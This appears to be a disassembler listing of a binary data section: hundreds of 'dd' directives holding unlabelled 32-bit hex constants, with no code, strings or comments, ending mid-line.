dd 868607B3h, 25B242A2h, 27709759h, 3AA9AA98h, 0AA2417C0h dd 62ABFCC4h, 40862098h, 51F56E61h, 997690C7h, 3ECAB4C1h dd 14C09493h, 753A5E82h, 33BEB5B8h, 2B2390B1h, 51FB4321h dd 0F8895404h, 39696A13h, 0A67FE768h, 95CC435Fh, 0C10CC4AEh dd 9CD862Eh, 0C6086CACh, 3F2BC00Bh, 9D3FE81Bh, 7A156735h dd 0ED8404D3h, 0C8977238h, 0D7A76668h, 0A66368D4h, 0B73B17C4h dd 6E87E560h, 0D212AD30h, 8EF01A41h, 0DB1CE225h, 9706AF2h dd 0E22AD68Bh, 269B9985h, 751EC6B1h, 39BA158Ch, 8AE5CF2Dh dd 0E443B1B3h, 0DCB4B12Eh, 8FC11B34h, 0E0DD2FF2h, 380FDD5Ch dd 7220255h, 0DCCE36C1h, 5083AA89h, 8D575426h, 8C38269Fh dd 29D2E015h, 0F7E043F0h, 72B9C21Ch, 1E12A62Dh, 0B4C39FC6h dd 5925615Fh, 0A45C9CBBh, 0FE687E3Fh, 952C043Fh, 16EC463Eh dd 0B2346FC7h, 85AC0F64h, 595686EAh, 0D5BAE5B9h, 7B7BBE31h dd 648B6F1Ch, 46BAEAD5h, 0DD438905h, 5F5E4C1Ah, 938747A6h dd 0F7C6142Ah, 8137FB43h, 6E04548Dh, 4F5602C8h, 0DC24C1E2h dd 7A810C5Bh, 8A8A80AEh, 92520CBAh, 0A781AD2Bh, 4B980DBDh dd 1D05DBFBh, 2D117DB4h, 8EB6A6EAh, 7DEBE0EBh, 0F581BF07h dd 27B7ACB6h, 0C4AB715Ah, 19B6FFB3h, 8B8DE74Eh, 74C167FDh dd 0E56E126Dh, 0B593DD00h, 0B7B7AD76h, 1D0A64EEh, 15B423D6h dd 8E4E0D46h, 56D8EC0Fh, 0AEC4A985h, 0DC4B11BBh, 0B1AC4C0Eh dd 0B733E02Eh, 9F96AEDDh, 81BC793Eh, 0E457AB2Ch, 0D7D40F16h dd 27251447h, 6BD45324h, 0F84E1736h, 0AC32D9B4h, 34057AF5h dd 0BA9E2FBBh, 688D6085h, 1FEFBFABh, 9EFCB4DCh, 113D9A2Ah dd 5CE9425Eh, 45E8046Bh, 14E42F4Fh, 0B6B709BDh, 0BF4BBC39h dd 37166F82h, 9705C6D9h, 0FC9F816Fh, 0C7AC73F5h, 0A8F0566Ah dd 496F670Ah, 4397B91Ah, 3747E43Ah, 1F894A96h, 256D6B79h dd 4AB3EDFDh, 7A1D3EBFh, 0C561CBC7h, 0C6543147h, 7A95896Bh dd 303F1B64h, 0BA924B39h, 0C124E975h, 6CB42F77h, 362D5016h dd 34B40B44h, 3AB5523h, 57BC2E6Ch, 5B878BBAh, 0BA861DB5h dd 0B2824EEDh, 7E6830A6h, 40E3735Fh, 8BB80860h, 7FB9FADCh dd 1740E1ADh, 58A82FD1h, 0C8E435BAh, 0EC80AEAFh, 91B8AAE4h dd 0FEF54042h, 0DED4D720h, 12D17895h, 578BAE42h, 5F9F7D5Bh dd 3E282EFh, 0F93AF2FFh, 2D2C7F83h, 1781F545h, 7B2A155Ah dd 399BC082h, 84E7654Fh, 0B12B908h, 9EDA40B9h, 456D1C2Ah dd 84B61113h, 0E33598E9h, 7C548FFDh, 0F0699CD8h, 89FFC5FBh dd 0F9F3ADA5h, 0F42FBA7Ah, 62F861E2h, 109E95A3h, 494E46F3h dd 0D0DE559Bh, 599D0E2Dh, 2C881478h, 38E19ECFh, 0E6DF4BD3h dd 6ED504EEh, 0C1A32B7h, 0F1225BA6h, 0EACE54E4h, 3C966439h dd 0D1D46E6Eh, 48E613F0h, 0FDFEDDFCh, 0BE74067Dh, 547DEC7Bh dd 4B4956B7h, 0BB457EFDh, 11ECE0EEh, 3D7614BCh, 75EC4FB1h dd 66DAA4EDh, 9F6F7161h, 0A1939787h, 0FEEB9CA4h, 0E1B99223h dd 75A5F81Eh, 7F9A9D05h, 0C30B67F6h, 20848FE4h, 6173EA39h dd 0F9AEB6B1h, 626A96ECh, 0C921F8E2h, 4CD46AB0h, 0A731F025h dd 2965D370h, 719EFF3Bh, 2E2613E5h, 0F8462F71h, 4B59215Eh dd 7B64AB7h, 0D9CD8FA0h, 0EC819AA9h, 0CD65FE03h, 6D8E9BECh dd 67F30807h, 331F1EBh, 0F3734188h, 0F3CE29Ah, 0CC09BB9h dd 0B8E2685Eh, 8C5FF203h, 1974388Dh, 5A20F9BDh, 36A1D365h dd 0BB52156Fh, 0B4FA09EEh, 0F72CFB32h, 8B866DD2h, 0D2B86B6Ch dd 0EE002BB5h, 961C5CC3h, 0AF1FC77Ah, 3084A873h, 2E8562C8h dd 49F5D9AEh, 8699DA74h, 67BC3F15h, 0B7A7D11Ah, 0EA40B03Eh dd 3F870209h, 6EC4D548h, 0E15F8DAFh, 6F0B83EAh, 8D28908Ah dd 44981396h, 0BEA4FB88h, 0ACDF90C1h, 0B02F2BC0h, 4FD2DE2Ch dd 227EB0C4h, 7C942718h, 6A9D9A4Ah, 5A70567Ah, 5640D7A5h dd 6D5CE326h, 7C0C4517h, 0F62AD950h, 4032AF54h, 9877C31Bh dd 6BD0AC6Eh, 8BB2315h, 1B440791h, 0D8A92B51h, 0B67FC2EAh dd 6924E0D2h, 0F56640A4h, 690D0D69h, 736145C0h, 0A43CE062h dd 7E6F381Eh, 5B2253Eh, 0FDDA2C37h, 66ED6F9Fh, 6113F11Eh dd 4BB74C75h, 2C3E7806h, 65F9633h, 38125128h, 7EDC8DA2h dd 0D3E0DFFh, 0F1E37C3Dh, 871E3CBEh, 24941DECh, 6B2C5FF7h dd 86A757D5h, 0A52D7741h, 0BA0CAE3Fh, 17A37FBEh, 0AEDC97B9h dd 9FC4C096h, 0FDB51A02h, 8A94498Dh, 2F3851E3h, 39D7E7DAh dd 645C6300h, 0B7FB0677h, 0E6E156Ah, 6705FB3Fh, 0DD77834Fh dd 529BDF8Bh, 0FC3D525Eh, 5F60BF23h, 0F120ADF5h, 8237D1B0h dd 5E926C1Ch, 0F1A61961h, 0DA86AD16h, 8EA3F0EBh, 185D48A3h dd 6FDBEEE2h, 0AD7F7620h, 28DA2BEAh, 87416746h, 66F2CE11h dd 6065D9AEh, 90580FA0h, 73D28E39h, 0CB3A9908h, 73B9D5Ch dd 3F0FD576h, 4A2D19FEh, 0ED36CA9h, 7ED9DC66h, 472AF785h dd 0BDDF62FDh, 1F03380Dh, 8CA045F9h, 73EB41EBh, 32C539A0h dd 44E5C346h, 72C5E102h, 7D8C8F2h, 0C3F8E5h, 0CE7A5DE0h dd 7EF8DAD0h, 0D9FB9054h dd 0A19E9ABAh, 3A2594A5h, 4403EC89h, 9456F66Ah, 0CF07C107h dd 761E6F95h, 6AD1ECBEh, 637BAA2Ch, 1F3DE593h, 4F565938h dd 0F6FD2DBAh, 65348F93h, 8C0DECC0h, 67703CAFh, 1F87BB06h dd 78F6BE43h, 0F0D278C0h, 2E2AC749h, 485C4130h, 37390AA4h dd 2A32DA61h, 2CBFA732h, 59EC7BCCh, 0D20D6F01h, 5D3F2D2Fh dd 0C51D2FF7h, 0D1F3310Ah, 6F8EFD60h, 5D08A010h, 726E910Ch dd 93E3180Dh, 3B8F55A3h, 10FB4005h, 0AD4B11E7h, 5E7A89ADh dd 0CCA8404Ah, 0A740B35Dh, 3D81AC57h, 0BA7E8ED6h, 0A7D1259h dd 2C8C6322h, 94B52A4Ch, 0A5D2A771h, 30837AFh, 593D0A5Fh dd 247647D9h, 5D06FCA9h, 0D415531Ah, 5B32C862h, 5A84ECD7h dd 62752F20h, 1AFBF3E2h, 0C5A87ED4h, 0BF6BDD71h, 2D5D5F17h dd 0FD560BBDh, 8AC52C3Dh, 0D80E1872h, 0BF980816h, 5A1E25A2h dd 57E787C3h, 9FC5D313h, 9A72818h, 7C241C62h, 74DE0F01h dd 727ADCF7h, 8286B6EEh, 47A7DE40h, 0B0EB3DC2h, 706CAA0Ch dd 464EAAA2h, 4B7C622Ah, 189D9F12h, 826DA5FDh, 9CC698E0h dd 18DFD5F9h, 0B1E9DF29h, 6F9AD01Bh, 17B8604Dh, 0FA2AD2D9h dd 572825FBh, 6E175CDAh, 943F1106h, 953B8A79h, 0CC7A2ECEh dd 5A0CDEF4h, 0FB05F3C0h, 0F9CD74D8h, 62FFBDFCh, 0BA88BF3Dh dd 5ECCA545h, 5B051A95h, 35DCF547h, 0D6DB4F9Eh, 4CB5787Eh dd 0FA9F48A8h, 0DEDFB1E4h, 0C2544D0Bh, 0FFF75781h, 0E2EF26B9h dd 373AC47h, 6670B4D5h, 0F3789EE5h, 0E01769FBh, 9E646FCh dd 58572013h, 1DD58BB6h, 832BD3F0h, 0B2AA055Ah, 3BA43F01h dd 1FFE04BFh, 7E5B81FBh, 0F67397EBh, 797E7F37h, 7997FA17h dd 0E38AC62Ah, 139D50F3h, 3ACA8605h, 67DA1366h, 0EB4B33A6h dd 65F6D52Bh, 742C43EDh, 939EEA7Ah, 10B5A46Dh, 955E1342h dd 553B53EAh, 0FE053729h, 0FA49150Ah, 8FC60F90h, 5C031706h dd 0AFDBA7F9h, 507DAB9Bh, 0D7867860h, 0AB5A2856h, 0D84B15Ch dd 0EC0DDAE7h, 0BE86A320h, 95C010C6h, 7E676107h, 0CA5D978Ah dd 8C634514h, 7A6C50ACh, 0BD78B613h, 352B4F47h, 0CE1793h dd 0F72C4610h, 10FB4578h, 4318991h, 0FB65DECAh, 0EB4ADD37h dd 0F0651675h, 4F744144h, 0B17C1ACh, 0A9B877B2h, 3C48FB4Eh dd 1050C975h, 3E47052Ch, 3ACF450Fh, 0BEAC1E8Bh, 2AD558DEh dd 4F7753B4h, 40C9ED3Bh, 60DBE481h, 28351F2Bh, 0D855E244h dd 0CB9EDCFEh, 0EB0F6453h, 17130C4Bh, 6A390243h, 0BDFC5588h dd 0E7186EB9h, 0B1DA952Eh, 7FB2A92Ah, 0A6AADDC1h, 0F02A9E17h dd 9BBAA121h, 28B255D7h, 0EFE23C04h, 942A992Eh, 685AFE7Eh dd 0AAC48989h, 0AAFE15EFh, 942E97D6h, 54B31F0Ch, 97B160D3h dd 0ADDF9FDCh, 6D8B4355h, 0F74D6BF6h, 0B40968A7h, 0BF03375Eh dd 6FC3FD4Bh, 0DF470CD4h, 676534F2h, 6C1977BDh, 0D288C506h dd 4930229h, 0C04A8094h, 539883Dh, 0D08A2BA4h, 11903F18h dd 11574812h, 7114FA80h, 9509AE3Bh, 84C71F11h, 8F3027B9h dd 0C26608CAh, 7409811Dh, 0E80A2FD6h, 6185E84h, 3023D014h dd 0F9690F98h, 81518135h, 2809FDC2h, 80A64814h, 88F94185h dd 3C101618h, 240CE8F2h, 0D81BCC41h, 0A8C09A11h, 8D278D80h dd 0A8A0AB42h, 9440C082h, 58015982h, 388B3C7Ch, 0B382A8A6h dd 87A8B7C2h, 0FF3422A3h, 466EA40Ah, 8C09EE2h, 800EE8A4h dd 0E2E8C28Ah, 709CC07Ch, 79C17487h, 3027B8A2h, 2FA409Ch dd 90C6F4F4h, 620D1434h, 7518E3D1h, 424D4531h, 354638D1h dd 86346285h, 432C69F3h, 206A8553h, 798B1D17h, 6CB9DAF6h dd 0FF757652h, 17913B03h, 0C9C3CF2Dh, 94D87E2Fh, 0B651F605h dd 4DC7D314h, 0EE7FA7A4h, 0D050ECCAh, 0C3F094D9h, 8071FEB6h dd 153A882Eh, 0F63FB8BBh, 24921131h, 0E016C7C1h, 43DAB4BBh dd 185D8FB6h, 0F85305Fh, 2A4C4551h, 8DE9ABh, 0DA97AFE3h dd 898CE1E6h, 404A4977h, 3D93495Eh, 258B82E5h, 1579332Ah dd 11546FBCh, 0E6AD5DC0h, 0F570C52Bh, 84C230A7h, 0C73BC22Fh dd 2A2FC12Dh, 0EA86F784h, 37DF9F39h, 0C0CB79F9h, 9B92FF0Bh dd 0F74A0BF6h, 1DE77AE6h, 0F761EA22h, 5D23A82Eh, 0E559057Eh dd 0CA72060Bh, 3B8C3E36h, 8BEC7722h, 4B548FEFh, 16570C63h dd 5ABB4629h, 0F935BB32h, 0A7E12455h, 6BB17E1Fh, 0B9D606D2h dd 2D71D46Dh, 9F93EEAAh, 76DF6AAAh, 0EC232AA5h, 436A4D83h dd 5F865AABh, 4A82C108h, 2F557DBDh, 8942D5Eh, 4ABCFF4Ch dd 0F6F2DD5h, 0D6D45D84h, 0DAE1CABAh, 0C3D95806h, 0DFA1C7F2h dd 8039D27h, 0DC0D7E56h, 0E180EC17h, 7C044E67h, 4C596D1Ch dd 3B2E463Ch, 0AADCD775h, 0F1C3E23h, 0C7EF97E1h, 0FF7FD7E7h dd 0D87ED3FDh, 70BCD01Dh, 0DBD29BF6h, 0D4D6BB79h, 5031D761h dd 95D1D117h, 593268E4h, 9CC4D1B6h, 0F2DDE9BCh, 0ED44EBE6h dd 0ACF9E802h, 2F4F7B89h, 552466CBh, 383CF6EBh, 4FC4C977h dd 15D3A3B7h, 8573956Dh, 0AB955AE0h, 928F8A64h, 5F49FA8Ch dd 25A1D9CAh, 0FD768D85h, 357F37DAh, 0EAA02D14h, 0C4C1758Bh dd 0BC8B3A87h, 855B17F0h, 758B1BCFh, 0A31B4D8Ch, 0B91BC1F6h dd 0C0F22BD5h, 0A0E3D47h, 0A3778CEEh, 4B8BF830h, 0F4B85581h dd 48C22525h, 9C6833AAh, 0E7E32A8Bh, 800CEF7Ch, 0EBE7FA43h dd 0A8A2427h, 12A6CB70h, 0C3DB7E02h, 0BBAD325Fh, 18360F81h dd 2773C59h, 0DE43B5C0h, 9BF99C84h, 7787A697h, 0AAFE976Ah dd 0EA02BADFh, 6AF8BA76h, 1FE006D4h, 0DF034209h, 8B8C54EDh dd 1018D56Bh, 340839FAh, 0A18A81DDh, 0CD5E25C9h, 0C0F6A5DBh dd 6B64E9BEh, 530821DEh, 5FCC3F01h, 2198AD72h, 703C389Ah dd 540DA5BAh, 99643B25h, 5A465320h, 0DC2DD39Eh, 292E360Bh dd 0CAAEAAE7h, 0DA43F073h, 0CEBA926Dh, 0B40ECC6Ch, 0A7B6B4A0h dd 0AB621689h, 0E6B48BA9h, 0E37BFECEh, 0F0711B42h, 0DFBCCEDEh dd 0A0668EE2h, 0C3CB434Bh, 18CAF411h, 0E0FA381h, 0D1A6FEFDh dd 3F1C0DC8h, 0FDE2034Bh, 77906E57h, 95B58F22h, 0BD6CD253h dd 384AF5Dh, 95670C53h, 0D51E4B82h, 0AB485F0Bh, 0F2A81A8Eh dd 0E6DA2AF6h, 31C95FEDh, 0A6EE6FDDh, 499EE5AFh, 9C77B75Eh dd 2BCEFD0h, 0F04FE058h, 49B17FBFh, 3F2704A3h, 97FCD1A6h dd 156F3B93h, 0F56F16ABh, 2F550AF3h, 0BCD19396h, 0B04A95A3h dd 9F8B127Eh, 0B425C52Bh, 0AF61C672h, 261C075Ah, 0D3F18D6h dd 0E123FE54h, 3EFC5827h, 0B79FEF04h, 5E65C370h, 0BE3AACAAh dd 972CD6D1h, 7C14CCA2h, 834DBC9Dh, 607B047Dh, 0F6DE4AC6h dd 0E95EB547h, 31B45E62h, 0D8F6B690h, 2BDF5B42h, 8447322Ch dd 13FD3307h, 7A979E77h, 880A7C99h, 787E3AFDh, 0EF020586h dd 0CD5F1F28h, 0AE001105h, 1ECD1457h, 71870D1h, 0BB92546Fh dd 1C0C3FBEh, 3E6294DEh, 0E02844E5h, 28DA3918h, 5845D666h dd 3EE99A1Dh, 0C2B8CA96h, 0AF8AFDCDh, 7E96464Dh, 0F8E7EC31h dd 70FC340Fh, 0D4A1E44Ah, 2E3B52A3h, 0F89FDF41h, 4AE6F36Bh dd 656FB7EDh, 0A9E8BB8Fh, 48EACD68h, 185D8E82h, 0AC913A81h dd 280739EEh, 0C719FC28h, 4DFD3405h, 7564D251h, 0FC7D1073h dd 70F514D4h, 7610FF64h, 50FE1A10h, 2CFC7490h, 0B44BA17Ch dd 0BAE1CC55h, 9FD3DF27h, 0CEDD820Ah, 87C74646h, 0EB83CDADh dd 98B6D1C1h, 0F2D8272Bh, 0AC194D3Fh, 0DC7A1B71h, 133E8563h dd 7C28139h, 39449C9Ah, 2089D299h, 2A379EC4h, 0E7154E89h dd 0F42F8AECh, 0AE7AB139h, 5BA36190h, 54BDB6E5h, 0FA9EF5D9h dd 963E0C74h, 6A9329C4h dd 356AB3A1h, 37DA14EBh, 17F965F9h, 56E8997Eh, 179BC71Dh dd 2EBB5855h, 190FE6F0h, 93571F45h, 0ACF39585h, 0C0FA2CD1h dd 1BE4B07Dh, 2FA6EE94h, 8517F37Dh, 2446DEDBh, 1C7194D7h dd 0EFE38A95h, 3B16B0A8h, 0EF5A4AFDh, 84CA95E9h, 0B0F2D5DEh dd 0D1A0FBE9h, 5CF6FC4h, 786AD42Fh, 0DB6D1497h, 2AC7C87Bh dd 813C75A8h, 50081E1Ah, 0BF7CDC0Fh, 0BB5E6B39h, 322FF685h dd 0FDFE1911h, 79088FC3h, 90F6FB60h, 0A289645Bh, 8915FA5Bh dd 1EE3BDC0h, 41F0B44Dh, 55FA79B7h, 0B8AC0F8Bh, 4346B25Ah dd 0BEFC2565h, 99C2EA26h, 0D2167F5Bh, 0FC664FFh, 6B125DA9h dd 2F7A3DF4h, 0B437D9B3h, 0F9EBCE82h, 0F0CE4CAh, 0AD91EAABh dd 92846EBFh, 0B3EC17F8h, 49AD77DBh, 336F9565h, 300CE28Ch dd 89F1ED58h, 0F0ED669Fh, 0AFAACEC4h, 0B9CA30F2h, 0A73DBEA1h dd 0BA81C9BBh, 71BACAC4h, 0F8D57C08h, 0C3581D5h, 0AF6E7BEAh dd 0E295E4C5h, 2B882783h, 10A49275h, 73381EFDh, 0CBD7CED5h dd 97E0D1B9h, 1E5787EFh, 97B14A23h, 41334CE9h, 29E79DD9h dd 38CA5E71h, 344A62BBh, 1358AEDh, 85CA21E2h, 25BF982Bh dd 5BDE5920h, 0D11D99A5h, 0A8DCC0FDh, 0FC1F0C19h, 55268EF3h dd 1B973C0Fh, 4691AC85h, 4440B7CFh, 1D7BAAB4h, 6E2FFDD2h dd 75FC09EAh, 64574582h, 0FBF1DF93h, 66F84877h, 0F17166Bh dd 14FB195Dh, 6DA6D34Fh, 9D53899Dh, 585D343Eh, 0D6FF2C74h dd 0BCFAB31Dh, 0EA9D28FCh, 0ADAC5FE8h, 76DD6054h, 9E2C9E00h dd 207598F1h, 62F1D663h, 0CCF7E6AAh, 22FB9914h, 3F03C95Ch dd 0AB3EFF9Ah, 8DA29784h, 0C3D95AE1h, 95C0EE0h, 0E7B405DEh dd 9F4C27EAh, 36BACCEAh, 5A3B4EB7h, 4B7DEB4Bh, 950FC07h dd 0AA06FA75h, 27557614h, 0BA835DECh, 0EBAFF7F6h, 5A0DDE02h dd 9F9BC750h, 9CB3C616h, 1A456EC5h, 8177F534h, 77288388h dd 532308DFh, 2AAA18DFh, 22376229h, 3F46A0Ch, 0C42EDDC5h dd 2A6F825Ch, 0F8BA9A06h, 9F5D5386h, 7078B1A5h, 0D8BD06F7h dd 9B614BEBh, 8A4B94AFh, 0D069D201h, 6D9E81E6h, 0AA1F8381h dd 7A2FA57Ah, 52CF259Ah, 0D14A556Bh, 0A6FA69D5h, 8E6D92Eh dd 0D86C27D5h, 134B3EE1h, 0E07F517Ah, 7C04FBDCh, 0B6E7EFC0h dd 0F1CA6F1Ah, 781E983h, 8BC6CA87h, 0A95028E0h, 0D2EBB3BEh dd 60184E69h, 5B6A7874h, 0BD7003CEh, 0C63D57C5h, 0FE860557h dd 2150FC4Bh, 0FD1546F7h, 709C2F95h, 798DBF7Bh, 4045CFBCh dd 957AAFCDh, 1E9FCA6Ah, 0C4E67138h, 0EC6C2FF6h, 0F735FA20h dd 0B9ACD77h, 850423C3h, 753DD6A6h, 44514030h, 9CA29E93h dd 52DABC09h, 998CB607h, 0C3E5C254h, 0AD25F872h, 1C056292h dd 0BF8902E9h, 0CA9F0C2Ah, 8DE9CC85h, 3A9308EBh, 8D82BB35h dd 9D0BE237h, 4EFEDE28h, 0B90A446Dh, 131A4025h, 0FD7D6BDAh dd 77E20EC5h, 49C6235Bh, 60B4A062h, 0D759E933h, 0DF4C0FCAh dd 9399E45Dh, 4BF0BBF6h, 293E0958h, 24A8672Dh, 5219168h dd 0E25A2B0Ah, 27431224h, 562015FBh, 0FBF1752Fh, 0C60F9540h dd 85F09768h, 0F535CAECh, 5E8DE079h, 1D355BC6h, 0A8ED78ABh dd 0FC1E0448h, 0D7B7B34h, 0BD5E578Ch, 0AA53BA01h, 20BAD69Dh dd 0B397358h, 0C03F92EDh, 0B7CEC3F1h, 0D4F933D8h, 878FF35Ch dd 29D41DE9h, 0B28B99F8h, 0DCC288AAh, 1BB746B8h, 0E9244191h dd 67106812h, 86242220h, 8A1D2D58h, 99819834h, 0EAEA55DBh dd 440F0F4Dh, 0A33C2472h, 39D3CFB0h, 7D676BF6h, 83DA0C67h dd 0B1D16DA3h, 0B71A0635h, 2E9F1E1Fh, 8FD9F29Ch, 192AD57Ah dd 98E96561h, 0F8BE33B3h, 90A30845h, 0D2BAC0F0h, 26B8EE16h dd 0E973EDBBh, 0EAB9609Fh, 0AA780AF8h, 64005DA6h, 0E625DEC2h dd 80AFBAE2h, 0E23152A8h, 0BAE154EAh, 9BC9B682h, 0EA6DEADh dd 0C1DA25D8h, 970576EBh, 3635BFC8h, 0B6079103h, 0D84808AFh dd 9FF4114Dh, 76FF3AB0h, 832FC5F7h, 3362EB76h, 40ABFB86h dd 43CDF0D7h, 0AA85DC3Dh, 6A1FAD7Ch, 0DF45C38Bh, 777787E2h dd 6BCA9823h, 4C254AD1h, 1BB14964h, 0D5A11296h, 48D4804Dh dd 4EF867B6h, 3E1C5F16h, 0BB81F051h, 0FA47A86Ah, 3D90A6BDh dd 259A6DB5h, 605C7D76h, 8721ACEBh, 83B3FD6Ch, 2FE194EAh dd 0D0D9CEF3h, 70491FC0h, 94D1FDE6h, 0FAE7F215h, 0BCFA958Dh dd 5312AD00h, 828DB477h, 0A1EE86E0h, 7E9F4C9Bh, 0FDA86B1Ah dd 0AC04BCC5h, 0D46B20AEh, 0DBC7078Ah, 0BD1B1492h, 0AF54B290h dd 44B9AC8Ch, 6ABA3423h, 0CB973C92h, 0CA47AA2Bh, 2A8DCCFAh dd 0EE06DC66h, 9223568Ch, 0ED29F426h, 69D6078Fh, 0D4E2786Dh dd 405BA7CCh, 0BFDC07F9h, 0E99940A6h, 5AF6BD60h, 79D6FCBCh dd 0F36E5F8Dh, 61BDBA95h, 0A4D97355h, 0BDB4287Eh, 0B08BA9Bh dd 0B8B99C9Dh, 0D80F1DF9h, 5D0E9256h, 4DBFB137h, 0C9F175A3h dd 1AD1C3B5h, 0CBEE21Ah, 0BECFD8D5h, 65FFBAA2h, 322A0D28h dd 0EBBFA1Dh, 557FB459h, 4F62A407h, 0BAB91832h, 6067150Ah dd 2AAA7CDDh, 1EFABF79h, 31969934h, 5171C7F3h, 28A87071h dd 0D40C4D40h, 0BFC787ABh, 0F4492187h, 0F8A6F1B0h, 5A563C65h dd 1F412098h, 4179E5B5h, 9C5C1708h, 0FCEB9B7Eh, 707FF636h dd 6EA9B78Eh, 0A8077F81h, 17512A68h, 83EFDC75h, 3B139997h dd 3980B33Bh, 0D884CD6Ch, 8B7F9007h, 5ECFB1C2h, 0B1DD9119h dd 551E5AD1h, 0D77C4B6Dh, 3C60A1A5h, 0FE868167h, 0B5D66F74h dd 0D96FF827h, 62177E04h, 8859236Fh, 0E21DDACFh, 0AAE33674h dd 0BE404189h, 0EC024F27h, 0E78B8242h, 0E6744285h, 0A7AFB9FBh dd 9F8AE071h, 7420202Bh, 0E5C10525h, 564CBC06h, 0D1E5938Dh dd 2984869h, 6754FEE7h, 5CCA2128h, 3B471CB5h, 9ED1DFA8h dd 0A772B675h, 969B65BAh, 8DAA43CEh, 1598286Fh, 9507DBCDh dd 0E74142A5h, 68995B39h, 5E3738EAh, 0AE11400Bh, 0B4AB9F4Dh dd 0B7E3389Dh, 4BA79C26h, 0F62D10C7h, 2512CCEDh, 0E49BBDCEh dd 7C565E8h, 0CE3645F9h, 5D8E7543h, 0E85F8589h, 0BBFC616Bh dd 0BCACDCD8h, 62EF4F8Ah, 0FC2F2AB7h, 0BB92EDh, 0BC8BBBD3h dd 0C9D812ADh, 383F9ECh, 0AB2B1B16h, 7B441559h, 6DBB3B5Eh dd 1FDFAB81h, 0E47466DCh, 0FF86EE85h, 0DEC4D8A4h, 7CA0348Bh dd 7025F4E7h, 212B8AA0h, 225A275Eh, 4CAFC56Fh, 3B875B06h dd 0C9C4DB7Ah, 89E78C33h, 91BFA6FDh, 0F8F52E25h, 465405BDh dd 0B873D2B3h, 0BE6B63CBh, 2922C0F8h, 0EA3FAE34h, 6783C38Ah dd 1A290BFAh, 4C300FA7h, 3B7A374Ah, 1B9EA36Ah, 0BD2ADC7Ah dd 2A84E3BCh, 0A4861523h, 0D0BBE814h, 0DAFF243Fh, 1F52E6A1h dd 3BF701AEh, 0A288DFE6h, 295B5589h, 75303F89h, 152B9050h dd 0B77B905h, 5928EE51h, 370541D3h, 11FA4628h, 0EE79DC08h dd 4E7303C9h, 9473AADCh, 77F8FD3Fh, 39F5FC72h, 6E6D86B6h dd 7DDF3B6h, 42B355BCh, 27E80C51h, 8EEF2C98h, 9F68662Eh dd 0A73C2994h, 89E01D36h, 9BC1460Bh, 6FE0176Ah, 0D6764EBEh dd 0CB83C786h, 0B8436BA8h, 9C3C3AF1h, 1DF5913Ch, 0F38D4DEh dd 8C1B6D9Bh, 0ADC613EDh, 3B3A461Bh, 6EA339E2h, 9FDC8D01h dd 0F3086DA0h, 5A7B36F5h, 2D628BE9h, 5C9FDF18h, 2096EC54h dd 1F036FE7h, 38057A8Ah, 0A1C5B575h, 0C163F145h, 8568575Ah dd 89B5F900h, 20FA3ED4h, 0E954E2B8h, 0DD7E15C3h, 6F1395Ah dd 9DB8E1FEh, 6AF475F1h, 9F28CE87h, 79107C4Bh, 0A20A0376h dd 0DFC01357h, 0F6A34AF3h, 0AF489107h, 0CE568B70h, 0D4862BA5h dd 420BD99Fh, 6BF4E0D4h dd 41C349D8h, 50B1B513h, 0C0DF7F0h, 0EF945024h, 69FB2355h dd 0F47CA3EEh, 854431B9h, 997556CCh, 0CFA4E5C3h, 6B3E053Eh dd 0EBE48CCEh, 0F71DCF8Eh, 0BB01DABDh, 41DE2B45h, 2459A808h dd 16661F88h, 390308C9h, 6411C76Bh, 0CF1F55C0h, 4015EBDh dd 9ECD422h, 87D3EAE5h, 8A7B6A4Eh, 6D512572h, 0D5BB1DB5h dd 0F49F6061h, 0EED644ABh, 618BF567h, 1E70A26Ah, 9352AE1Fh dd 0E6931BF6h, 24556EFh, 342AB9AEh, 0B7C477B6h, 0F98C0F7Ah dd 7D90FE68h, 96404A96h, 2FACE14Dh, 0F577EB66h, 5D441AE3h dd 0DB6E26DBh, 0D7971360h, 71D5E69Dh, 29F0D575h, 5D3594B4h dd 6C26AB7Dh, 0A7E7DD0Fh, 3FF77F3Dh, 8CE2D732h, 0BE208D96h dd 46388A07h, 4FF9D16Fh, 0A20162EBh, 9399FA7Ch, 0A1BC1850h dd 2EF3CB3Eh, 0FC6A163Eh, 0D1234BE7h, 0D87E325h, 0AE66181Eh dd 0F0E8145h, 0EE6FA65Bh, 0F2FD487Eh, 3E1D21Fh, 0FE05FC4Ch dd 393C57DAh, 5B2D0572h, 0A7F24BFDh, 9C5CB0BBh, 6C897F51h dd 0FAEEFE0Eh, 5FE5E48Bh, 0FA61B2AEh, 241940E6h, 25755D04h dd 0A83EF5Fh, 0D51B45AFh, 798ECA2Ah, 0DCA439B1h, 1238D3E5h dd 0F8BAB804h, 0D81E0737h, 99C2C102h, 0AEB71C2Dh, 17EE820Bh dd 0A0826BF6h, 6BAD603Eh, 0B19A9F48h, 0D237F7A6h, 0BC3B8AF7h dd 0ECFA90DCh, 0C3A3DF3h, 0B678DFC7h, 0C1DF1F12h, 0C0BB9CA8h dd 0B4CDF2E2h, 747DF857h, 472B4BD5h, 0AECCF815h, 6B468733h dd 96E7D7B0h, 3E6C7CA7h, 5B2F2FC6h, 0BCD3A813h, 17126A5Bh dd 95B54ED1h, 858FDE26h, 0AAB9AC52h, 0B41F0E21h, 76FF331Dh dd 0F5008C4Dh, 0F392DE2Dh, 0EC948164h, 9BC08547h, 8CA3692Dh dd 7E813EF5h, 0D7FB9AD3h, 48313195h, 3613A1DEh, 0AF62C8ABh dd 0CC6CFA80h, 0C9A6EC0Dh, 54703D1h, 0BB2AB321h, 831EEF3h dd 0ECFC8B8Bh, 0D795551Ah, 4E1C05D3h, 91B45898h, 9E2D7438h dd 0BBD6532Dh, 0D09BFC76h, 1EEA0C5Ch, 0DD8F0F0Bh, 0EF739EE9h dd 6754DF47h, 6480E71Ah, 0F1BC7810h, 0C8C8838Fh, 0D1DEB46Fh dd 66EF6B34h, 0F742FE82h, 0E3EF08B3h, 0E745E9BBh, 1399D5FAh dd 6080B705h, 0ADD241A7h, 0EF0156B9h, 5CE66F65h, 8DCCF195h dd 0C91E36D8h, 1B5F1D8Ch, 9E04045Eh, 19C00AF4h, 7BD76B74h dd 77236C25h, 1791D8F1h, 0A4613527h, 0F2733D78h, 102F138h dd 0D647EFDh, 74B65128h, 7AA8CA29h, 4D8D1263h, 0BD8A07B7h dd 734581FCh, 0D67B5295h, 698B405Bh, 3AA5916Fh, 0EFA168B2h dd 0F426911Ah, 0C607E1B5h, 987D543Eh, 3917DF75h, 0FDFB3AECh dd 7597008Ah, 95A32DA0h, 27AA5F43h, 0E3FD94D3h, 69C4C2D3h dd 0CD8D6695h, 4B128038h, 7CEB5E2Fh, 0EAAA78CAh, 98A781FEh dd 